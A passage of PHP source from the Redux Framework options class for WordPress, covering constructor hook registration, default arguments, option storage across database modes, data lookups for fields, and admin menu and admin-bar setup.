on a live preview! if ( $GLOBALS['pagenow'] == "customize" && isset( $_GET['theme'] ) && ! empty( $_GET['theme'] ) ) { $this->args['save_defaults'] = false; } if ( ! empty ( $this->args['opt_name'] ) ) { /** * SHIM SECTION * Old variables and ways of doing things that need correcting. ;) * */ // Variable name change if ( ! empty ( $this->args['page_cap'] ) ) { $this->args['page_permissions'] = $this->args['page_cap']; unset ( $this->args['page_cap'] ); } if ( ! empty ( $this->args['page_position'] ) ) { $this->args['page_priority'] = $this->args['page_position']; unset ( $this->args['page_position'] ); } if ( ! empty ( $this->args['page_type'] ) ) { $this->args['menu_type'] = $this->args['page_type']; unset ( $this->args['page_type'] ); } // Auto create the page_slug appropriately if ( empty( $this->args['page_slug'] ) ) { if ( ! empty( $this->args['display_name'] ) ) { $this->args['page_slug'] = sanitize_html_class( $this->args['display_name'] ); } else if ( ! empty( $this->args['page_title'] ) ) { $this->args['page_slug'] = sanitize_html_class( $this->args['page_title'] ); } else if ( ! empty( $this->args['menu_title'] ) ) { $this->args['page_slug'] = sanitize_html_class( $this->args['menu_title'] ); } else { $this->args['page_slug'] = str_replace( '-', '_', $this->args['opt_name'] ); } } $this->change_demo_defaults(); // Get rid of extra_tabs! Not needed. if ( is_array( $extra_tabs ) && ! empty ( $extra_tabs ) ) { foreach ( $extra_tabs as $tab ) { array_push( $this->sections, $tab ); } } // Move to the first loop area! /** * filter 'redux-sections' * * @deprecated * * @param array $sections field option sections */ $this->sections = apply_filters( 'redux-sections', $sections ); // REMOVE LATER /** * filter 'redux-sections-{opt_name}' * * @deprecated * * @param array $sections field option sections */ $this->sections = apply_filters( "redux-sections-{$this->args['opt_name']}", $this->sections ); // REMOVE LATER /** * filter 'redux/options/{opt_name}/sections' * * @param array $sections field option sections */ $this->sections = apply_filters( "redux/options/{$this->args['opt_name']}/sections", $this->sections ); /** * Construct hook * action 'redux/construct' * * @param object $this ReduxFramework */ do_action( 'redux/construct', $this ); // Set the default values $this->_default_cleanup(); // Internataionalization $this->_internationalization(); $this->filesystem = Redux_Filesystem::get_instance( $this ); //set redux upload folder $this->set_redux_content(); // Register extra extensions $this->_register_extensions(); // Grab database values $this->get_options(); // Tracking if ( isset( $this->args['allow_tracking'] ) && $this->args['allow_tracking'] && Redux_Helpers::isTheme( __FILE__ ) ) { $this->_tracking(); } // Options page add_action( 'admin_menu', array( $this, '_options_page' ) ); // Add a network menu if ( $this->args['database'] == "network" && $this->args['network_admin'] ) { add_action( 'network_admin_menu', array( $this, '_options_page' ) ); } // Admin Bar menu add_action( 'admin_bar_menu', array( $this, '_admin_bar_menu' ), $this->args['admin_bar_priority'] ); // Register setting add_action( 'admin_init', array( $this, '_register_settings' ) ); // Display admin notices in dev_mode // if ( true == $this->args['dev_mode'] ) { // if ( true == $this->args['update_notice'] ) { // add_action( 'admin_init', array( $this, '_update_check' ) ); // } // } // Display admin notices add_action( 'admin_notices', array( $this, '_admin_notices' ), 99 ); // Check for dismissed admin notices. add_action( 'admin_init', array( $this, '_dismiss_admin_notice' ), 9 ); // Enqueue the admin page CSS and JS if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { add_action( 'admin_enqueue_scripts', array( $this, '_enqueue' ), 1 ); } // Output dynamic CSS // Frontend: Maybe enqueue dynamic CSS and Google fonts if ( empty ( $this->args['output_location'] ) || in_array( 'frontend', $this->args['output_location'] ) ) { add_action( 'wp_head', array( &$this, '_output_css' ), 150 ); add_action( 'wp_enqueue_scripts', array( &$this, '_enqueue_output' ), 150 ); } // Login page: Maybe enqueue dynamic CSS and Google fonts if ( in_array( 'login', $this->args['output_location'] ) ) { add_action( 'login_head', array( &$this, '_output_css' ), 150 ); add_action( 'login_enqueue_scripts', array( &$this, '_enqueue_output' ), 150 ); } // Admin area: Maybe enqueue dynamic CSS and Google fonts if ( in_array( 'admin', $this->args['output_location'] ) ) { add_action( 'admin_head', array( &$this, '_output_css' ), 150 ); add_action( 'admin_enqueue_scripts', array( &$this, '_enqueue_output' ), 150 ); } add_action( 'wp_print_scripts', array( $this, 'vc_fixes' ), 100 ); add_action( 'admin_enqueue_scripts', array( $this, 'vc_fixes' ), 100 ); if ( $this->args['database'] == "network" && $this->args['network_admin'] ) { add_action( 'network_admin_edit_redux_' . $this->args['opt_name'], array( $this, 'save_network_page' ), 10, 0 ); add_action( 'admin_bar_menu', array( $this, 'network_admin_bar' ), 999 ); } // Ajax saving!!! add_action( "wp_ajax_" . $this->args['opt_name'] . '_ajax_save', array( $this, "ajax_save" ) ); // if ( $this->args['dev_mode'] == true || Redux_Helpers::isLocalHost() == true ) { // require_once 'core/dashboard.php'; // new reduxDashboardWidget( $this ); // // if ( ! isset ( $GLOBALS['redux_notice_check'] ) || $GLOBALS['redux_notice_check'] == 0 ) { // require_once 'core/newsflash.php'; // // $params = array( // 'dir_name' => 'notice', // 'server_file' => 'http://reduxframework.com/wp-content/uploads/redux/redux_notice.json', // 'interval' => 3, // 'cookie_id' => 'redux_blast', // ); // // // new reduxNewsflash( $this, $params ); // $GLOBALS['redux_notice_check'] = 1; // } // } } /** * Loaded hook * action 'redux/loaded' * * @param object $this ReduxFramework */ do_action( 'redux/loaded', $this ); } // __construct() private function set_redux_content() { $upload_dir = wp_upload_dir(); self::$_upload_dir = $upload_dir['basedir'] . '/redux/'; self::$_upload_url = str_replace( array( 'https://', 'http://' ), '//', $upload_dir['baseurl'] . '/redux/' ); } private function set_default_args() { $this->args = array( 'opt_name' => '', // Must be defined by theme/plugin 'google_api_key' => '', // Must be defined to update the google fonts cache for the typography module 'google_update_weekly' => false, // Set to keep your google fonts updated weekly 'last_tab' => '', // force a specific tab to always show on reload 'menu_icon' => '', // menu icon 'menu_title' => '', // menu title/text 'page_title' => '', // option page title 'page_slug' => '', 'page_permissions' => 'manage_options', 'menu_type' => 'menu', // ('menu'|'submenu') 'page_parent' => 'themes.php', // requires menu_type = 'submenu 'page_priority' => null, 'allow_sub_menu' => true, // allow submenus to be added if menu_type == menu 'save_defaults' => true, // Save defaults to the DB on it if empty 'footer_credit' => '', 'async_typography' => false, 'disable_google_fonts_link' => false, 'class' => '', // Class that gets appended to all redux-containers 'admin_bar' => true, 'admin_bar_priority' => 999, // Show the panel pages on the admin bar 'admin_bar_icon' => '', // admin bar icon 'help_tabs' => array(), 'help_sidebar' => '', 'database' => '', // possible: options, theme_mods, theme_mods_expanded, transient, network 'customizer' => false, // setting to true forces get_theme_mod_expanded 'global_variable' => '', // Changes global variable from $GLOBALS['YOUR_OPT_NAME'] to whatever you set here. false disables the global variable 'output' => true, // Dynamically generate CSS 'compiler' => true, // Initiate the compiler hook 'output_tag' => true, // Print Output Tag 'output_location' => array( 'frontend' ), // Where the dynamic CSS will be added. Can be any combination from: 'frontend', 'login', 'admin' 'transient_time' => '', 'default_show' => false, // If true, it shows the default value 'default_mark' => '', // What to print by the field's title if the value shown is default 'update_notice' => true, // Recieve an update notice of new commits when in dev mode 'disable_save_warn' => false, // Disable the save warn 'open_expanded' => false, 'hide_expand' => false, // Start the panel fully expanded to start with 'network_admin' => false, // Enable network admin when using network database mode 'network_sites' => true, // Enable sites as well as admin when using network database mode 'hide_reset' => false, 'hide_save' => false, 'hints' => array( 'icon' => 'el el-question-sign', 'icon_position' => 'right', 'icon_color' => 'lightgray', 'icon_size' => 'normal', 'tip_style' => array( 'color' => 'light', 'shadow' => true, 'rounded' => false, 'style' => '', ), 'tip_position' => array( 'my' => 'top_left', 'at' => 'bottom_right', ), 'tip_effect' => array( 'show' => array( 'effect' => 'slide', 'duration' => '500', 'event' => 'mouseover', ), 'hide' => array( 'effect' => 'fade', 'duration' => '500', 'event' => 'click mouseleave', ), ), ), 'show_import_export' => true, 'show_options_object' => true, 'dev_mode' => true, 'templates_path' => '', // Path to the templates file for various Redux elements 'ajax_save' => true, // Disable the use of ajax saving for the panel 'use_cdn' => true, 'cdn_check_time' => 1440, 'options_api' => true, ); } // Fix conflicts with Visual Composer. public function vc_fixes() { if ( redux_helpers::isFieldInUse( $this, 'ace_editor' ) ) { wp_dequeue_script( 'wpb_ace' ); wp_deregister_script( 'wpb_ace' ); } } public function network_admin_bar( $wp_admin_bar ) { $args = array( 'id' => $this->args['opt_name'] . '_network_admin', 'title' => $this->args['menu_title'], 'parent' => 'network-admin', 'href' => network_admin_url( 'settings.php' ) . '?page=' . $this->args['page_slug'], 'meta' => array( 'class' => 'redux-network-admin' ) ); $wp_admin_bar->add_node( $args ); } public function save_network_page() { $data = $this->_validate_options( $_POST[ $this->args['opt_name'] ] ); if ( ! empty ( $data ) ) { $this->set_options( $data ); } wp_redirect( add_query_arg( array( 'page' => $this->args['page_slug'], 'updated' => 'true' ), network_admin_url( 'settings.php' ) ) ); exit (); } public function _update_check() { // Only one notice per instance please if ( ! isset ( $GLOBALS['redux_update_check'] ) ) { Redux_Functions::updateCheck($this, self::$_version ); $GLOBALS['redux_update_check'] = 1; } } public function _admin_notices() { Redux_Admin_Notices::adminNotices($this, $this->admin_notices ); } public function _dismiss_admin_notice() { Redux_Admin_Notices::dismissAdminNotice(); } /** * Load the plugin text domain for translation. * * @since 3.0.5 */ private function _internationalization() { /** * Locale for text domain * filter 'redux/textdomain/{opt_name}' * * @param string The locale of the blog or from the 'locale' hook * @param string 'redux-framework' text domain */ // $locale = apply_filters( "redux/textdomain/{$this->args['opt_name']}", get_locale(), 'redux-framework' ); // // if ( strpos( $locale, '_' ) === false ) { // if ( file_exists( self::$_dir . 'languages/' . strtolower( $locale ) . '_' . strtoupper( $locale ) . '.mo' ) ) { // $locale = strtolower( $locale ) . '_' . strtoupper( $locale ); // } // } $basename = basename( __FILE__ ); $basepath = plugin_basename( __FILE__ ); $basepath = str_replace( $basename, '', $basepath ); $basepath = apply_filters( "redux/textdomain/basepath/{$this->args['opt_name']}", $basepath ); $loaded = load_plugin_textdomain( 'redux-framework', false, $basepath . 'languages'); if ( !$loaded ){ $loaded = load_muplugin_textdomain( 'redux-framework', $basepath . 'languages' ); } if ( !$loaded ){ $loaded = load_theme_textdomain( 'redux-framework', $basepath . 'languages' ); } if ( ! $loaded ) { $locale = apply_filters( 'plugin_locale', get_locale(), 'redux-framework' ); $mofile = dirname( __FILE__ ) . '/languages/redux-framework-' . $locale . '.mo'; load_textdomain( 'redux-framework', $mofile ); } } // _internationalization() /** * @return ReduxFramework */ public function get_instance() { //self::$_instance = $this; return self::$instance; } // get_instance() private function _tracking() { if ( file_exists( dirname( __FILE__ ) . '/inc/tracking.php' ) ) { require_once dirname( __FILE__ ) . '/inc/tracking.php'; $tracking = Redux_Tracking::get_instance(); $tracking->load( $this ); } } // _tracking() /** * ->_get_default(); This is used to return the default value if default_show is set * * @since 1.0.1 * @access public * * @param string $opt_name The option name to return * @param mixed $default (null) The value to return if default not set * * @return mixed $default */ public function _get_default( $opt_name, $default = null ) { if ( $this->args['default_show'] == true ) { if ( empty ( $this->options_defaults ) ) { $this->_default_values(); // fill cache } $default = array_key_exists( $opt_name, $this->options_defaults ) ? $this->options_defaults[ $opt_name ] : $default; } return $default; } // _get_default() /** * ->get(); This is used to return and option value from the options array * * @since 1.0.0 * @access public * * @param string $opt_name The option name to return * @param mixed $default (null) The value to return if option not set * * @return mixed */ public function get( $opt_name, $default = null ) { return ( ! empty ( $this->options[ $opt_name ] ) ) ? $this->options[ $opt_name ] : $this->_get_default( $opt_name, $default ); } // get() /** * ->set(); This is used to set an arbitrary option in the options array * * @since 1.0.0 * @access public * * @param string $opt_name The name of the option being added * @param mixed $value The value of the option being added * * @return void */ public function set( $opt_name = '', $value = '' ) { if ( $opt_name != '' ) { $this->options[ $opt_name ] = $value; $this->set_options( $this->options ); } } // set() /** * Set a global variable by the global_variable argument * * @since 3.1.5 * @return bool (global was set) */ private function set_global_variable() { if ( $this->args['global_variable'] ) { $option_global = $this->args['global_variable']; /** * filter 'redux/options/{opt_name}/global_variable' * * @param array $value option value to set global_variable with */ $GLOBALS[ $this->args['global_variable'] ] = apply_filters( "redux/options/{$this->args['opt_name']}/global_variable", $this->options ); if ( isset ( $this->transients['last_save'] ) ) { // Deprecated $GLOBALS[ $this->args['global_variable'] ]['REDUX_last_saved'] = $this->transients['last_save']; // Last save key $GLOBALS[ $this->args['global_variable'] ]['REDUX_LAST_SAVE'] = $this->transients['last_save']; } if ( isset ( $this->transients['last_compiler'] ) ) { // Deprecated $GLOBALS[ $this->args['global_variable'] ]['REDUX_COMPILER'] = $this->transients['last_compiler']; // Last compiler hook key $GLOBALS[ $this->args['global_variable'] ]['REDUX_LAST_COMPILER'] = $this->transients['last_compiler']; } return true; } return false; } // set_global_variable() /** * ->set_options(); This is used to set an arbitrary option in the options array * * @since ReduxFramework 3.0.0 * * @param mixed $value the value of the option being added */ public function set_options( $value = '' ) { $this->transients['last_save'] = time(); if ( ! empty ( $value ) ) { $this->options = $value; if ( $this->args['database'] === 'transient' ) { set_transient( $this->args['opt_name'] . '-transient', $value, $this->args['transient_time'] ); } else if ( $this->args['database'] === 'theme_mods' ) { set_theme_mod( $this->args['opt_name'] . '-mods', $value ); } else if ( $this->args['database'] === 'theme_mods_expanded' ) { foreach ( $value as $k => $v ) { set_theme_mod( $k, $v ); } } else if ( $this->args['database'] === 'network' ) { // Strip those slashes! //$value = json_decode( stripslashes( json_encode( $value ) ), true ); update_site_option( $this->args['opt_name'], $value ); } else { update_option( $this->args['opt_name'], $value ); } // Store the changed values in the transient if ( $value != $this->options ) { foreach ( $value as $k => $v ) { if ( ! isset ( $this->options[ $k ] ) ) { $this->options[ $k ] = ""; } else if ( $v == $this->options[ $k ] ) { unset ( $this->options[ $k ] ); } } $this->transients['changed_values'] = $this->options; } $this->options = $value; // Set a global variable by the global_variable argument. $this->set_global_variable(); // Saving the transient values $this->set_transients(); //do_action( "redux-saved-{$this->args['opt_name']}", $value ); // REMOVE //do_action( "redux/options/{$this->args['opt_name']}/saved", $value, $this->transients['changed_values'] ); } } // set_options() /** * ->get_options(); This is used to get options from the database * * @since ReduxFramework 3.0.0 */ public function get_options() { $defaults = false; if ( ! empty ( $this->defaults ) ) { $defaults = $this->defaults; } if ( $this->args['database'] === "transient" ) { $result = get_transient( $this->args['opt_name'] . '-transient' ); } else if ( $this->args['database'] === "theme_mods" ) { $result = get_theme_mod( $this->args['opt_name'] . '-mods' ); } else if ( $this->args['database'] === 'theme_mods_expanded' ) { $result = get_theme_mods(); } else if ( $this->args['database'] === 'network' ) { $result = get_site_option( $this->args['opt_name'], array() ); //$result = json_decode( stripslashes( json_encode( $result ) ), true ); } else { $result = get_option( $this->args['opt_name'], array() ); } if ( empty ( $result ) && ! empty ( $defaults ) ) { $results = $defaults; $this->set_options( $results ); } else { $this->options = $result; } /** * action 'redux/options/{opt_name}/options' * * @param mixed $value option values */ $this->options = apply_filters( "redux/options/{$this->args['opt_name']}/options", $this->options ); // Get transient values $this->get_transients(); // Set a global variable by the global_variable argument. $this->set_global_variable(); } // get_options() /** * ->get_wordpress_date() - Get Wordpress specific data from the DB and return in a usable array * * @since ReduxFramework 3.0.0 */ public function get_wordpress_data( $type = false, $args = array() ) { $data = ""; //return $data; /** * filter 'redux/options/{opt_name}/wordpress_data/{type}/' * * @deprecated * * @param string $data */ $data = apply_filters( "redux/options/{$this->args['opt_name']}/wordpress_data/$type/", $data ); // REMOVE LATER /** * filter 'redux/options/{opt_name}/data/{type}' * * @param string $data */ $data = apply_filters( "redux/options/{$this->args['opt_name']}/data/$type", $data ); $argsKey = md5( serialize( $args ) ); if ( empty ( $data ) && isset ( $this->wp_data[ $type . $argsKey ] ) ) { $data = $this->wp_data[ $type . $argsKey ]; } if ( empty ( $data ) && ! empty ( $type ) ) { /** * Use data from Wordpress to populate options array * */ if ( ! empty ( $type ) && empty ( $data ) ) { if ( empty ( $args ) ) { $args = array(); } $data = array(); $args = wp_parse_args( $args, array() ); if ( $type == "categories" || $type == "category" ) { $cats = get_categories( $args ); if ( ! empty ( $cats ) ) { foreach ( $cats as $cat ) { $data[ $cat->term_id ] = $cat->name; } //foreach } // If } else if ( $type == "menus" || $type == "menu" ) { $menus = wp_get_nav_menus( $args ); if ( ! empty ( $menus ) ) { foreach ( $menus as $item ) { $data[ $item->term_id ] = $item->name; } //foreach } //if } else if ( $type == "pages" || $type == "page" ) { if ( ! isset ( $args['posts_per_page'] ) ) { $args['posts_per_page'] = 20; } $pages = get_pages( $args ); if ( ! empty ( $pages ) ) { foreach ( $pages as $page ) { $data[ $page->ID ] = $page->post_title; } //foreach } //if } else if ( $type == "terms" || $type == "term" ) { $taxonomies = $args['taxonomies']; unset ( $args['taxonomies'] ); $terms = get_terms( $taxonomies, $args ); // this will get nothing if ( ! empty ( $terms ) && ! is_a( $terms, 'WP_Error' ) ) { foreach ( $terms as $term ) { $data[ $term->term_id ] = $term->name; } //foreach } // If } else if ( $type == "taxonomy" || $type == "taxonomies" ) { $taxonomies = get_taxonomies( $args ); if ( ! empty ( $taxonomies ) ) { foreach ( $taxonomies as $key => $taxonomy ) { $data[ $key ] = $taxonomy; } //foreach } // If } else if ( $type == "posts" || $type == "post" ) { $posts = get_posts( $args ); if ( ! empty ( $posts ) ) { foreach ( $posts as $post ) { $data[ $post->ID ] = $post->post_title; } //foreach } //if } else if ( $type == "post_type" || $type == "post_types" ) { global $wp_post_types; $defaults = array( 'public' => true, 'exclude_from_search' => false, ); $args = wp_parse_args( $args, $defaults ); $output = 'names'; $operator = 'and'; $post_types = get_post_types( $args, $output, $operator ); ksort( $post_types ); foreach ( $post_types as $name => $title ) { if ( isset ( $wp_post_types[ $name ]->labels->menu_name ) ) { $data[ $name ] = $wp_post_types[ $name ]->labels->menu_name; } else { $data[ $name ] = ucfirst( $name ); } } } else if ( $type == "tags" || $type == "tag" ) { // NOT WORKING! $tags = get_tags( $args ); if ( ! empty ( $tags ) ) { foreach ( $tags as $tag ) { $data[ $tag->term_id ] = $tag->name; } //foreach } //if } else if ( $type == "menu_location" || $type == "menu_locations" ) { global $_wp_registered_nav_menus; foreach ( $_wp_registered_nav_menus as $k => $v ) { $data[ $k ] = $v; } } else if ( $type == "image_size" || $type == "image_sizes" ) { global $_wp_additional_image_sizes; foreach ( $_wp_additional_image_sizes as $size_name => $size_attrs ) { $data[ $size_name ] = $size_name . ' - ' . $size_attrs['width'] . ' x ' . $size_attrs['height']; } } else if ( $type == "elusive-icons" || $type == "elusive-icon" || $type == "elusive" || $type == "font-icon" || $type == "font-icons" || $type == "icons" ) { /** * filter 'redux-font-icons' * * @deprecated * * @param array $font_icons array of elusive icon classes */ $font_icons = apply_filters( 'redux-font-icons', array() ); // REMOVE LATER /** * filter 'redux/font-icons' * * @deprecated * * @param array $font_icons array of elusive icon classes */ $font_icons = apply_filters( 'redux/font-icons', $font_icons ); /** * filter 'redux/{opt_name}/field/font/icons' * * @deprecated * * @param array $font_icons array of elusive icon classes */ $font_icons = apply_filters( "redux/{$this->args['opt_name']}/field/font/icons", $font_icons ); foreach ( $font_icons as $k ) { $data[ $k ] = $k; } } else if ( $type == "roles" ) { /** @global WP_Roles $wp_roles */ global $wp_roles; $data = $wp_roles->get_names(); } else if ( $type == "sidebars" || $type == "sidebar" ) { /** @global array $wp_registered_sidebars */ global $wp_registered_sidebars; foreach ( $wp_registered_sidebars as $key => $value ) { $data[ $key ] = $value['name']; } } else if ( $type == "capabilities" ) { /** @global WP_Roles $wp_roles */ global $wp_roles; foreach ( $wp_roles->roles as $role ) { foreach ( $role['capabilities'] as $key => $cap ) { $data[ $key ] = ucwords( str_replace( '_', ' ', $key ) ); } } } else if ( $type == "callback" ) { if ( ! is_array( $args ) ) { $args = array( $args ); } $data = call_user_func( $args[0] ); } else if ( $type == "users" || $type == "users" ) { $users = get_users( $args ); if ( ! empty ( $users ) ) { foreach ( $users as $user ) { $data[ $user->ID ] = $user->display_name; } //foreach } //if } //if } //if $this->wp_data[ $type . $argsKey ] = $data; } //if return $data; } // get_wordpress_data() /** * ->show(); This is used to echo and option value from the options array * * @since 1.0.0 * @access public * * @param string $opt_name The name of the option being shown * @param mixed $default The value to show if $opt_name isn't set * * @return void */ public function show( $opt_name, $default = '' ) { $option = $this->get( $opt_name ); if ( ! is_array( $option ) && $option != '' ) { echo $option; } elseif ( $default != '' ) { echo $this->_get_default( $opt_name, $default ); } } // show() /** * Get the default value for an option * * @since 3.3.6 * @access public * * @param string $key The option's ID * @param string $array_key The key of the default's array * * @return mixed */ public function get_default_value( $key, $array_key = false ) { if ( empty ( $this->options_defaults ) ) { $this->options_defaults = $this->_default_values(); } $defaults = $this->options_defaults; $value = ''; if ( isset ( $defaults[ $key ] ) ) { if ( $array_key !== false && isset ( $defaults[ $key ][ $array_key ] ) ) { $value = $defaults[ $key ][ $array_key ]; } else { $value = $defaults[ $key ]; } } return $value; } public function field_default_values( $field ) { // Detect what field types are being used if ( ! isset ( $this->fields[ $field['type'] ][ $field['id'] ] ) ) { $this->fields[ $field['type'] ][ $field['id'] ] = 1; } else { $this->fields[ $field['type'] ] = array( $field['id'] => 1 ); } if ( isset ( $field['default'] ) ) { $this->options_defaults[ $field['id'] ] = apply_filters( "redux/{$this->args['opt_name']}/field/{$field['type']}/defaults", $field['default'], $field ); } elseif ( ( $field['type'] != "ace_editor" ) ) { // Sorter data filter if ( isset( $field['data'] ) && ! empty( $field['data'] ) ) { if ( ! isset( $field['args'] ) ) { $field['args'] = array(); } if ( is_array( $field['data'] ) && ! empty( $field['data'] ) ) { foreach ( $field['data'] as $key => $data ) { if ( ! empty( $data ) ) { if ( ! isset ( $field['args'][ $key ] ) ) { $field['args'][ $key ] = array(); } $field['options'][ $key ] = $this->get_wordpress_data( $data, $field['args'][ $key ] ); } } } else { $field['options'] = $this->get_wordpress_data( $field['data'], $field['args'] ); } } if ( $field['type'] == "sorter" && isset ( $field['data'] ) && ! empty ( $field['data'] ) && is_array( $field['data'] ) ) { if ( ! isset ( $field['args'] ) ) { $field['args'] = array(); } foreach ( $field['data'] as $key => $data ) { if ( ! isset ( $field['args'][ $key ] ) ) { $field['args'][ $key ] = array(); } $field['options'][ $key ] = $this->get_wordpress_data( $data, $field['args'][ $key ] ); } } if ( isset ( $field['options'] ) ) { if ( $field['type'] == "sortable" ) { $this->options_defaults[ $field['id'] ] = array(); } elseif ( $field['type'] == "image_select" ) { $this->options_defaults[ $field['id'] ] = ''; } elseif ( $field['type'] == "select" ) { $this->options_defaults[ $field['id'] ] = ''; } else { $this->options_defaults[ $field['id'] ] = $field['options']; } } } } /** * Get default options into an array suitable for the settings API * * @since 1.0.0 * @access public * @return array $this->options_defaults */ public function _default_values() { if ( ! is_null( $this->sections ) && is_null( $this->options_defaults ) ) { // fill the cache foreach ( $this->sections as $sk => $section ) { if ( ! isset ( $section['id'] ) ) { if ( ! is_numeric( $sk ) || ! isset ( $section['title'] ) ) { $section['id'] = $sk; } else { $section['id'] = sanitize_title( $section['title'], $sk ); } $this->sections[ $sk ] = $section; } if ( isset ( $section['fields'] ) ) { foreach ( $section['fields'] as $k => $field ) { if ( empty ( $field['id'] ) && empty ( $field['type'] ) ) { continue; } if ( in_array( $field['type'], array( 'ace_editor' ) ) && isset ( $field['options'] ) ) { $this->sections[ $sk ]['fields'][ $k ]['args'] = $field['options']; unset ( $this->sections[ $sk ]['fields'][ $k ]['options'] ); } if ( $field['type'] == "section" && isset ( $field['indent'] ) && $field['indent'] == "true" ) { $field['class'] = isset ( $field['class'] ) ? $field['class'] : ''; $field['class'] .= " redux-section-indent-start"; $this->sections[ $sk ]['fields'][ $k ] = $field; } $this->field_default_values( $field ); } } } } /** * filter 'redux/options/{opt_name}/defaults' * * @param array $defaults option default values */ $this->transients['changed_values'] = isset ( $this->transients['changed_values'] ) ? $this->transients['changed_values'] : array(); $this->options_defaults = apply_filters( "redux/options/{$this->args['opt_name']}/defaults", $this->options_defaults, $this->transients['changed_values'] ); return $this->options_defaults; } /** * Set default options on admin_init if option doesn't exist * * @since 1.0.0 * @access public * @return void */ private function _default_cleanup() { // Fix the global variable name if ( $this->args['global_variable'] == "" && $this->args['global_variable'] !== false ) { $this->args['global_variable'] = str_replace( '-', '_', $this->args['opt_name'] ); } // Force dev_mode on WP_DEBUG = true and if it's a local server if ( Redux_Helpers::isLocalHost() || ( Redux_Helpers::isWpDebug() ) ) { if ( $this->args['dev_mode'] != true ) { $this->args['update_notice'] = false; } $this->dev_mode_forced = true; $this->args['dev_mode'] = true; // if ( isset( $this->args['forced_dev_mode_off'] ) && $this->args['forced_dev_mode_off'] == true ) { // $this->dev_mode_forced = false; // $this->args['dev_mode'] = false; // } } if ( isset( $this->args['customizer_only'] ) && $this->args['customizer_only'] == true ) { $this->args['menu_type'] = 'hidden'; $this->args['customizer'] = true; $this->args['admin_bar'] = false; $this->args['allow_sub_menu'] = false; } // Check if the Airplane Mode plugin is installed if ( class_exists( 'Airplane_Mode_Core' ) ) { $airplane = Airplane_Mode_Core::getInstance(); if ( method_exists( $airplane, 'enabled' ) ) { if ( $airplane->enabled() ) { $this->args['use_cdn'] = false; } } else if ( $airplane->check_status() == 'on' ) { $this->args['use_cdn'] = false; } } } /** * Class Add Sub Menu Function, creates options submenu in Wordpress admin area. * * @since 3.1.9 * @access private * @return void */ private function add_submenu( $page_parent, $page_title, $menu_title, $page_permissions, $page_slug ) { global $submenu; // Just in case. One never knows. $page_parent = strtolower( $page_parent ); $test = array( 'index.php' => 'dashboard', 'edit.php' => 'posts', 'upload.php' => 'media', 'link-manager.php' => 'links', 'edit.php?post_type=page' => 'pages', 'edit-comments.php' => 'comments', 'themes.php' => 'theme', 'plugins.php' => 'plugins', 'users.php' => 'users', 'tools.php' => 'management', 'options-general.php' => 'options', ); if ( isset ( $test[ $page_parent ] ) ) { $function = 'add_' . $test[ $page_parent ] . '_page'; $this->page = $function ( $page_title, $menu_title, $page_permissions, $page_slug, array( $this, 'generate_panel' ) ); } else { // Network settings and Post type menus. These do not have // wrappers and need to be appened to using add_submenu_page. // Okay, since we've left the post type menu appending // as default, we need to validate it, so anything that // isn't post_type=<post_type> doesn't get through and mess // things up. $addMenu = false; if ( 'settings.php' != $page_parent ) { // Establish the needle $needle = '?post_type='; // Check if it exists in the page_parent (how I miss instr) $needlePos = strrpos( $page_parent, $needle ); // It's there, so... if ( $needlePos > 0 ) { // Get the post type. $postType = substr( $page_parent, $needlePos + strlen( $needle ) ); // Ensure it exists. if ( post_type_exists( $postType ) ) { // Set flag to add the menu page $addMenu = true; } // custom menu } elseif ( isset ( $submenu[ $this->args['page_parent'] ] ) ) { $addMenu = true; } else { global $menu; foreach ( $menu as $menupriority => $menuitem ) { $needle_menu_slug = isset ( $menuitem ) ? $menuitem[2] : false; if ( $needle_menu_slug != false ) { // check if the current needle menu equals page_parent if ( strcasecmp( $needle_menu_slug, $page_parent ) == 0 ) { // found an empty parent menu $addMenu = true; } } } } } else { // The page_parent was settings.php, so set menu add // flag to true. $addMenu = true; } // Add the submenu if it's permitted. if ( true == $addMenu ) { // ONLY for non-wp.org themes OR plugins. Theme-Check alert shown if used and IS theme. $this->page = call_user_func( 'add_submenu_page', $page_parent, $page_title, $menu_title, $page_permissions, $page_slug, array( &$this, 'generate_panel' ) ); } } } /** * Class Options Page Function, creates main options page. * * @since 1.0.0 * @access public * @return void */ public function _options_page() { if ( $this->args['menu_type'] == 'hidden' ) { // No menu to add! } else if ( $this->args['menu_type'] == 'submenu' ) { $this->add_submenu( $this->args['page_parent'], $this->args['page_title'], $this->args['menu_title'], $this->args['page_permissions'], $this->args['page_slug'] ); } else { // Theme-Check notice is displayed for WP.org theme devs, informing them to NOT use this. $this->page = call_user_func( 'add_menu_page', $this->args['page_title'], $this->args['menu_title'], $this->args['page_permissions'], $this->args['page_slug'], array( &$this, 'generate_panel' ), $this->args['menu_icon'], $this->args['page_priority'] ); if ( true === $this->args['allow_sub_menu'] ) { foreach ( $this->sections as $k => $section ) { $canBeSubSection = ( $k > 0 && ( ! isset ( $this->sections[ ( $k ) ]['type'] ) || $this->sections[ ( $k ) ]['type'] != "divide" ) ) ? true : false; if ( ! isset ( $section['title'] ) || ( $canBeSubSection && ( isset ( $section['subsection'] ) && $section['subsection'] == true ) ) ) { continue; } if ( isset ( $section['submenu'] ) && $section['submenu'] == false ) { continue; } if ( isset ( $section['customizer_only'] ) && $section['customizer_only'] == true ) { continue; } if ( isset ( $section['hidden'] ) && $section['hidden'] == true ) { continue; } if ( isset( $section['permissions'] ) && ! self::current_user_can( $section['permissions'] ) ) { continue; } // ONLY for non-wp.org themes OR plugins. Theme-Check alert shown if used and IS theme. call_user_func( 'add_submenu_page', $this->args['page_slug'], $section['title'], $section['title'], $this->args['page_permissions'], $this->args['page_slug'] . '&tab=' . $k, //create_function( '$a', "return null;" ) '__return_null' ); } // Remove parent submenu item instead of adding null item. remove_submenu_page( $this->args['page_slug'], $this->args['page_slug'] ); } } add_action( "load-{$this->page}", array( &$this, '_load_page' ) ); } // _options_page() /** * Add admin bar menu * * @since 3.1.5.16 * @access public * @global $menu , $submenu, $wp_admin_bar * @return void */ public function _admin_bar_menu() { global $menu, $submenu, $wp_admin_bar; if ( ! is_super_admin() || ! is_admin_bar_showing() || ! $this->args['admin_bar'] || $this->args['menu_type'] == 'hidden' ) { return; } if ( $menu ) { foreach ( $menu as $menu_item ) { if ( isset ( $menu_item[2] ) && $menu_item[2] === $this->args["page_slug"] ) { // Fetch the title $title = empty ( $this->args['admin_bar_icon'] ) ? $menu_item[0] : '<span class="ab-icon ' . $this->args['admin_bar_icon'] . '"></span>' . $menu_item[0]; $nodeargs = array( 'id' => $menu_item[2], 'title' => $title, 'href' => admin_url( 'admin.php?page=' . $menu_item[2] ), 'meta' => array() ); $wp_admin_bar->add_node( $nodeargs ); break; } } if ( isset ( 